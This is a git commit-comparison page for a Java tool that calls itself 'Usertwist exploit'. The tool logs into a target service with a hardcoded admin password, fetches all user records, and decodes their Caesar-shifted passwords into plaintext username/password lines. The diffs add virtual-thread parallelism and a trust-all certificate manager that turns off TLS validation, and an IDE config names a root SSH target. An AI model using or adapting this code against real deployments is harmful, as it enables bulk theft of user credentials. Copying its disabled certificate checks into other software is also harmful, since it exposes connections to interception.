Compare commits
	
		
			6 Commits
		
	
	
		
			5bdebcee04
			...
			virtual_th
		
	
	| Author | SHA1 | Date | |
|---|---|---|---|
| 3aa13a9909 | |||
| 0142689374 | |||
| d08de128b2 | |||
| a329a54e82 | |||
| 91a2a983c2 | |||
| e1e4a26e62 | 
							
								
								
									
										6
									
								
								.idea/git_toolbox_blame.xml
									
									
									
										generated
									
									
									
										Normal file
									
								
							
							
						
						
									
										6
									
								
								.idea/git_toolbox_blame.xml
									
									
									
										generated
									
									
									
										Normal file
									
								
							@@ -0,0 +1,6 @@
 | 
			
		||||
<?xml version="1.0" encoding="UTF-8"?>
 | 
			
		||||
<project version="4">
 | 
			
		||||
  <component name="GitToolBoxBlameSettings">
 | 
			
		||||
    <option name="version" value="2" />
 | 
			
		||||
  </component>
 | 
			
		||||
</project>
 | 
			
		||||
							
								
								
									
										15
									
								
								.idea/git_toolbox_prj.xml
									
									
									
										generated
									
									
									
										Normal file
									
								
							
							
						
						
									
										15
									
								
								.idea/git_toolbox_prj.xml
									
									
									
										generated
									
									
									
										Normal file
									
								
							@@ -0,0 +1,15 @@
 | 
			
		||||
<?xml version="1.0" encoding="UTF-8"?>
 | 
			
		||||
<project version="4">
 | 
			
		||||
  <component name="GitToolBoxProjectSettings">
 | 
			
		||||
    <option name="commitMessageIssueKeyValidationOverride">
 | 
			
		||||
      <BoolValueOverride>
 | 
			
		||||
        <option name="enabled" value="true" />
 | 
			
		||||
      </BoolValueOverride>
 | 
			
		||||
    </option>
 | 
			
		||||
    <option name="commitMessageValidationEnabledOverride">
 | 
			
		||||
      <BoolValueOverride>
 | 
			
		||||
        <option name="enabled" value="true" />
 | 
			
		||||
      </BoolValueOverride>
 | 
			
		||||
    </option>
 | 
			
		||||
  </component>
 | 
			
		||||
</project>
 | 
			
		||||
							
								
								
									
										19
									
								
								.idea/remote-targets.xml
									
									
									
										generated
									
									
									
										Normal file
									
								
							
							
						
						
									
										19
									
								
								.idea/remote-targets.xml
									
									
									
										generated
									
									
									
										Normal file
									
								
							@@ -0,0 +1,19 @@
 | 
			
		||||
<?xml version="1.0" encoding="UTF-8"?>
 | 
			
		||||
<project version="4">
 | 
			
		||||
  <component name="RemoteTargetsManager">
 | 
			
		||||
    <targets>
 | 
			
		||||
      <target name="root@kyosu.fr:22" type="ssh/sftp" uuid="cb79b708-e728-4225-8df7-941abd57c841">
 | 
			
		||||
        <config>
 | 
			
		||||
          <option name="projectRootOnTarget" value="/root/Usertwist-Exploit" />
 | 
			
		||||
          <option name="serverName" value="root@kyosu.fr:22 password" />
 | 
			
		||||
        </config>
 | 
			
		||||
        <ContributedStateBase type="JavaLanguageRuntime">
 | 
			
		||||
          <config>
 | 
			
		||||
            <option name="homePath" value="/opt/jdk-21.0.1" />
 | 
			
		||||
            <option name="javaVersionString" value="17.0.11" />
 | 
			
		||||
          </config>
 | 
			
		||||
        </ContributedStateBase>
 | 
			
		||||
      </target>
 | 
			
		||||
    </targets>
 | 
			
		||||
  </component>
 | 
			
		||||
</project>
 | 
			
		||||
@@ -1,6 +1,6 @@
 | 
			
		||||
package fr.motysten.usertwist.exploit;
 | 
			
		||||
 | 
			
		||||
import fr.motysten.usertwist.exploit.tools.Cesar;
 | 
			
		||||
import fr.motysten.usertwist.exploit.tools.Parser;
 | 
			
		||||
import fr.motysten.usertwist.exploit.tools.Request;
 | 
			
		||||
import org.json.JSONArray;
 | 
			
		||||
import org.json.JSONObject;
 | 
			
		||||
@@ -13,6 +13,7 @@ import java.io.InputStreamReader;
 | 
			
		||||
import java.net.http.HttpResponse;
 | 
			
		||||
import java.security.KeyManagementException;
 | 
			
		||||
import java.security.NoSuchAlgorithmException;
 | 
			
		||||
import java.util.Arrays;
 | 
			
		||||
import java.util.HashMap;
 | 
			
		||||
import java.util.Map;
 | 
			
		||||
 | 
			
		||||
@@ -23,11 +24,18 @@ public class Main {
 | 
			
		||||
    public static String password = "AdminSecret1C";
 | 
			
		||||
    public static String port = "443";
 | 
			
		||||
    public static int rotation = 4;
 | 
			
		||||
    public static boolean insecure = false;
 | 
			
		||||
    public static boolean asynchronous = true;
 | 
			
		||||
    public static Request requestClient;
 | 
			
		||||
 | 
			
		||||
    public static void main(String[] args) throws IOException, InterruptedException, NoSuchAlgorithmException, KeyManagementException {
 | 
			
		||||
        BufferedReader reader = new BufferedReader(new InputStreamReader(System.in));
 | 
			
		||||
 | 
			
		||||
        requestClient = new Request(false);
 | 
			
		||||
 | 
			
		||||
        if (Arrays.asList(args).contains("--synchronous") || Arrays.asList(args).contains("-s")) {
 | 
			
		||||
            asynchronous = false;
 | 
			
		||||
        }
 | 
			
		||||
 | 
			
		||||
        System.out.println("Usertwist exploit by Motysten");
 | 
			
		||||
        System.out.println("Please don't use for unethical purpose !\n");
 | 
			
		||||
        String readLine;
 | 
			
		||||
@@ -63,7 +71,7 @@ public class Main {
 | 
			
		||||
        boolean tokenFound = false;
 | 
			
		||||
        while (!tokenFound) {
 | 
			
		||||
            try {
 | 
			
		||||
                response = Request.get(link, port, "/login", requestJSON, null, insecure);
 | 
			
		||||
                response = requestClient.get(link, port, "/login", requestJSON, null);
 | 
			
		||||
                if (response.statusCode() == 308) {
 | 
			
		||||
                    System.err.println("The server is trying to force HTTPS use. Would you like to retry with HTTPS ? [Y/n]");
 | 
			
		||||
                    if (reader.readLine().equalsIgnoreCase("n")) {
 | 
			
		||||
@@ -82,7 +90,7 @@ public class Main {
 | 
			
		||||
                    System.err.println("Operation aborted ! Security failure.");
 | 
			
		||||
                    System.exit(1);
 | 
			
		||||
                } else {
 | 
			
		||||
                    insecure = true;
 | 
			
		||||
                    requestClient = new Request(true);
 | 
			
		||||
                }
 | 
			
		||||
            } catch (SSLException e) {
 | 
			
		||||
                if (e.getMessage().contains("plaintext connection?")) {
 | 
			
		||||
@@ -102,8 +110,6 @@ public class Main {
 | 
			
		||||
            System.exit(1);
 | 
			
		||||
        }
 | 
			
		||||
 | 
			
		||||
        System.out.println(response.statusCode());
 | 
			
		||||
 | 
			
		||||
        JSONObject responseObject = new JSONObject(response.body());
 | 
			
		||||
        String token = responseObject.optString("token");
 | 
			
		||||
 | 
			
		||||
@@ -118,19 +124,21 @@ public class Main {
 | 
			
		||||
        Map<String, String> headers = new HashMap<>();
 | 
			
		||||
        headers.put("Authorization", "Bearer " + token);
 | 
			
		||||
 | 
			
		||||
        response = Request.get(link, port, "/references", requestJSON, headers, insecure);
 | 
			
		||||
        response = requestClient.get(link, port, "/references", requestJSON, headers);
 | 
			
		||||
        JSONArray usersArray = new JSONArray(response.body());
 | 
			
		||||
 | 
			
		||||
        System.out.println(usersArray.length() + " users found !");
 | 
			
		||||
        System.out.println("\nDecrypting passwords...\n");
 | 
			
		||||
 | 
			
		||||
        for (int i = 0; i < usersArray.length(); i++) {
 | 
			
		||||
            JSONObject user = usersArray.getJSONObject(i);
 | 
			
		||||
            String login = user.getString("username");
 | 
			
		||||
            String password = Cesar.cesarRotate(user.getString("data"), rotation);
 | 
			
		||||
 | 
			
		||||
            System.out.println((i + 1) + ". " + login + " => " + password);
 | 
			
		||||
        float startTime = System.nanoTime();
 | 
			
		||||
        if (asynchronous) {
 | 
			
		||||
            Parser.asyncGetPass(usersArray, rotation);
 | 
			
		||||
        } else {
 | 
			
		||||
            Parser.getPass(usersArray, rotation);
 | 
			
		||||
        }
 | 
			
		||||
        float elapsedTime = (System.nanoTime() - startTime) / 1000000;
 | 
			
		||||
        System.out.println("Asynchronous elapsed time = " + elapsedTime + "ms");
 | 
			
		||||
 | 
			
		||||
    }
 | 
			
		||||
 | 
			
		||||
}
 | 
			
		||||
 
 | 
			
		||||
@@ -1,33 +1,33 @@
 | 
			
		||||
package fr.motysten.usertwist.exploit.tools;
 | 
			
		||||
 | 
			
		||||
import java.util.stream.Collectors;
 | 
			
		||||
 | 
			
		||||
public class Cesar {
 | 
			
		||||
 | 
			
		||||
    public static final String LOWER_ALPHABET = "abcdefghijklmnopqrstuvwxyz";
 | 
			
		||||
    public static final String UPPER_ALPHABET = LOWER_ALPHABET.toUpperCase();
 | 
			
		||||
    public static String rotate(String input, int offset) {
 | 
			
		||||
        char normalizeKey = (char) (offset % 26);
 | 
			
		||||
 | 
			
		||||
    public static String cesarRotate(String input, int offset) {
 | 
			
		||||
 | 
			
		||||
        while (offset < 0) {
 | 
			
		||||
            offset += 26;
 | 
			
		||||
        }
 | 
			
		||||
 | 
			
		||||
        StringBuilder output = new StringBuilder();
 | 
			
		||||
 | 
			
		||||
        for (int i = 0; i < input.length(); i++) {
 | 
			
		||||
            char newChar = input.charAt(i);
 | 
			
		||||
            if (!Character.isDigit(input.charAt(i))) {
 | 
			
		||||
                int pos = LOWER_ALPHABET.indexOf(Character.toLowerCase(input.charAt(i)));
 | 
			
		||||
                int newPos = (pos + offset) % 26;
 | 
			
		||||
                if (Character.isUpperCase(input.charAt(i))) {
 | 
			
		||||
                    newChar = UPPER_ALPHABET.charAt(newPos);
 | 
			
		||||
                } else {
 | 
			
		||||
                    newChar = LOWER_ALPHABET.charAt(newPos);
 | 
			
		||||
                }
 | 
			
		||||
            }
 | 
			
		||||
            output.append(newChar);
 | 
			
		||||
        }
 | 
			
		||||
 | 
			
		||||
        return output.toString();
 | 
			
		||||
        return input.chars()
 | 
			
		||||
                .mapToObj(c -> (char) c)
 | 
			
		||||
                .map(c -> {
 | 
			
		||||
                    if (Character.isLetter(c)) {
 | 
			
		||||
                        char base;
 | 
			
		||||
                        if (Character.isUpperCase(c)) {
 | 
			
		||||
                            base = 'A';
 | 
			
		||||
                        } else {
 | 
			
		||||
                            base = 'a';
 | 
			
		||||
                        }
 | 
			
		||||
                        if (offset < 0) {
 | 
			
		||||
                            return (char) (base + (c - base + normalizeKey) % 26);
 | 
			
		||||
                        } else {
 | 
			
		||||
                            return (char) (base + (c - base - normalizeKey + 26) % 26);
 | 
			
		||||
                        }
 | 
			
		||||
                    } else {
 | 
			
		||||
                        return c;
 | 
			
		||||
                    }
 | 
			
		||||
                })
 | 
			
		||||
                .map(String::valueOf)
 | 
			
		||||
                .collect(Collectors.joining());
 | 
			
		||||
    }
 | 
			
		||||
 | 
			
		||||
}
 | 
			
		||||
 
 | 
			
		||||
							
								
								
									
										37
									
								
								src/fr/motysten/usertwist/exploit/tools/Parser.java
									
									
									
									
									
										Normal file
									
								
							
							
						
						
									
										37
									
								
								src/fr/motysten/usertwist/exploit/tools/Parser.java
									
									
									
									
									
										Normal file
									
								
							@@ -0,0 +1,37 @@
 | 
			
		||||
package fr.motysten.usertwist.exploit.tools;
 | 
			
		||||
 | 
			
		||||
import org.json.JSONArray;
 | 
			
		||||
import org.json.JSONObject;
 | 
			
		||||
 | 
			
		||||
public class Parser {
 | 
			
		||||
 | 
			
		||||
    public static void getPass(JSONArray usersArray, int rotation) {
 | 
			
		||||
        for (int i = 0; i < usersArray.length(); i++) {
 | 
			
		||||
            JSONObject user = usersArray.getJSONObject(i);
 | 
			
		||||
            String login = user.getString("username");
 | 
			
		||||
            String password = Cesar.rotate(user.getString("data"), rotation);
 | 
			
		||||
 | 
			
		||||
            System.out.println((i + 1) + ". " + login + " => " + password);
 | 
			
		||||
        }
 | 
			
		||||
    }
 | 
			
		||||
 | 
			
		||||
    public static void asyncGetPass(JSONArray usersArray, int rotation) throws InterruptedException {
 | 
			
		||||
 | 
			
		||||
        for (int i = 0; i < usersArray.length(); i++) {
 | 
			
		||||
 | 
			
		||||
            int finalI = i;
 | 
			
		||||
 | 
			
		||||
            Runnable r = () -> {
 | 
			
		||||
                JSONObject user = usersArray.getJSONObject(finalI);
 | 
			
		||||
                String login = user.getString("username");
 | 
			
		||||
                String password = Cesar.rotate(user.getString("data"), rotation);
 | 
			
		||||
 | 
			
		||||
                System.out.println((finalI + 1) + ". " + login + " => " + password);
 | 
			
		||||
            };
 | 
			
		||||
 | 
			
		||||
            Thread t = Thread.startVirtualThread(r);
 | 
			
		||||
            t.join();
 | 
			
		||||
        }
 | 
			
		||||
    }
 | 
			
		||||
 | 
			
		||||
}
 | 
			
		||||
@@ -3,8 +3,11 @@ package fr.motysten.usertwist.exploit.tools;
 | 
			
		||||
import org.json.JSONObject;
 | 
			
		||||
 | 
			
		||||
import javax.net.ssl.SSLContext;
 | 
			
		||||
import javax.net.ssl.SSLEngine;
 | 
			
		||||
import javax.net.ssl.TrustManager;
 | 
			
		||||
import javax.net.ssl.X509ExtendedTrustManager;
 | 
			
		||||
import java.io.IOException;
 | 
			
		||||
import java.net.Socket;
 | 
			
		||||
import java.net.URI;
 | 
			
		||||
import java.net.http.HttpClient;
 | 
			
		||||
import java.net.http.HttpRequest;
 | 
			
		||||
@@ -12,20 +15,59 @@ import java.net.http.HttpResponse;
 | 
			
		||||
import java.security.KeyManagementException;
 | 
			
		||||
import java.security.NoSuchAlgorithmException;
 | 
			
		||||
import java.security.SecureRandom;
 | 
			
		||||
import java.security.cert.X509Certificate;
 | 
			
		||||
import java.util.Map;
 | 
			
		||||
 | 
			
		||||
public class Request {
 | 
			
		||||
 | 
			
		||||
    public static HttpResponse<String> get(String link, String port, String endpoint,JSONObject params, Map<String, String> headers, boolean insecure) throws NoSuchAlgorithmException, KeyManagementException, IOException, InterruptedException {
 | 
			
		||||
        HttpClient client = HttpClient.newHttpClient();
 | 
			
		||||
    private final HttpClient client;
 | 
			
		||||
 | 
			
		||||
    public Request(boolean insecure) throws NoSuchAlgorithmException, KeyManagementException {
 | 
			
		||||
        HttpClient.Builder builder = HttpClient.newBuilder();
 | 
			
		||||
        if (insecure) {
 | 
			
		||||
            SSLContext customContext = SSLContext.getInstance("TLS");
 | 
			
		||||
            customContext.init(null, new TrustManager[]{new SSLBypass()}, new SecureRandom());
 | 
			
		||||
            customContext.init(null, new TrustManager[]{new X509ExtendedTrustManager() {
 | 
			
		||||
                @Override
 | 
			
		||||
                public void checkClientTrusted(X509Certificate[] x509Certificates, String s, Socket socket) {
 | 
			
		||||
 | 
			
		||||
            client = HttpClient.newBuilder().sslContext(customContext).build();
 | 
			
		||||
                }
 | 
			
		||||
 | 
			
		||||
                @Override
 | 
			
		||||
                public void checkServerTrusted(X509Certificate[] x509Certificates, String s, Socket socket) {
 | 
			
		||||
 | 
			
		||||
                }
 | 
			
		||||
 | 
			
		||||
                @Override
 | 
			
		||||
                public void checkClientTrusted(X509Certificate[] x509Certificates, String s, SSLEngine sslEngine) {
 | 
			
		||||
 | 
			
		||||
                }
 | 
			
		||||
 | 
			
		||||
                @Override
 | 
			
		||||
                public void checkServerTrusted(X509Certificate[] x509Certificates, String s, SSLEngine sslEngine) {
 | 
			
		||||
 | 
			
		||||
                }
 | 
			
		||||
 | 
			
		||||
                @Override
 | 
			
		||||
                public void checkClientTrusted(X509Certificate[] x509Certificates, String s) {
 | 
			
		||||
 | 
			
		||||
                }
 | 
			
		||||
 | 
			
		||||
                @Override
 | 
			
		||||
                public void checkServerTrusted(X509Certificate[] x509Certificates, String s) {
 | 
			
		||||
 | 
			
		||||
                }
 | 
			
		||||
 | 
			
		||||
                @Override
 | 
			
		||||
                public X509Certificate[] getAcceptedIssuers() {
 | 
			
		||||
                    return new X509Certificate[0];
 | 
			
		||||
                }
 | 
			
		||||
            }}, new SecureRandom());
 | 
			
		||||
            builder.sslContext(customContext);
 | 
			
		||||
        }
 | 
			
		||||
        this.client = builder.build();
 | 
			
		||||
    }
 | 
			
		||||
 | 
			
		||||
    public HttpResponse<String> get(String link, String port, String endpoint,JSONObject params, Map<String, String> headers) throws IOException, InterruptedException {
 | 
			
		||||
        HttpRequest.Builder builder = HttpRequest.newBuilder(URI.create(link + ":" + port + endpoint));
 | 
			
		||||
        if (headers != null) {
 | 
			
		||||
            for (Map.Entry<String, String> header : headers.entrySet()) {
 | 
			
		||||
 
 | 
			
		||||
@@ -1,43 +0,0 @@
 | 
			
		||||
package fr.motysten.usertwist.exploit.tools;
 | 
			
		||||
 | 
			
		||||
import javax.net.ssl.SSLEngine;
 | 
			
		||||
import javax.net.ssl.X509ExtendedTrustManager;
 | 
			
		||||
import java.net.Socket;
 | 
			
		||||
import java.security.cert.X509Certificate;
 | 
			
		||||
 | 
			
		||||
public class SSLBypass extends X509ExtendedTrustManager {
 | 
			
		||||
    @Override
 | 
			
		||||
    public void checkClientTrusted(X509Certificate[] x509Certificates, String s, Socket socket) {
 | 
			
		||||
 | 
			
		||||
    }
 | 
			
		||||
 | 
			
		||||
    @Override
 | 
			
		||||
    public void checkServerTrusted(X509Certificate[] x509Certificates, String s, Socket socket) {
 | 
			
		||||
 | 
			
		||||
    }
 | 
			
		||||
 | 
			
		||||
    @Override
 | 
			
		||||
    public void checkClientTrusted(X509Certificate[] x509Certificates, String s, SSLEngine sslEngine) {
 | 
			
		||||
 | 
			
		||||
    }
 | 
			
		||||
 | 
			
		||||
    @Override
 | 
			
		||||
    public void checkServerTrusted(X509Certificate[] x509Certificates, String s, SSLEngine sslEngine) {
 | 
			
		||||
 | 
			
		||||
    }
 | 
			
		||||
 | 
			
		||||
    @Override
 | 
			
		||||
    public void checkClientTrusted(X509Certificate[] x509Certificates, String s) {
 | 
			
		||||
 | 
			
		||||
    }
 | 
			
		||||
 | 
			
		||||
    @Override
 | 
			
		||||
    public void checkServerTrusted(X509Certificate[] x509Certificates, String s)  {
 | 
			
		||||
 | 
			
		||||
    }
 | 
			
		||||
 | 
			
		||||
    @Override
 | 
			
		||||
    public X509Certificate[] getAcceptedIssuers() {
 | 
			
		||||
        return new X509Certificate[0];
 | 
			
		||||
    }
 | 
			
		||||
}
 | 
			
		||||
		Reference in New Issue
	
	Block a user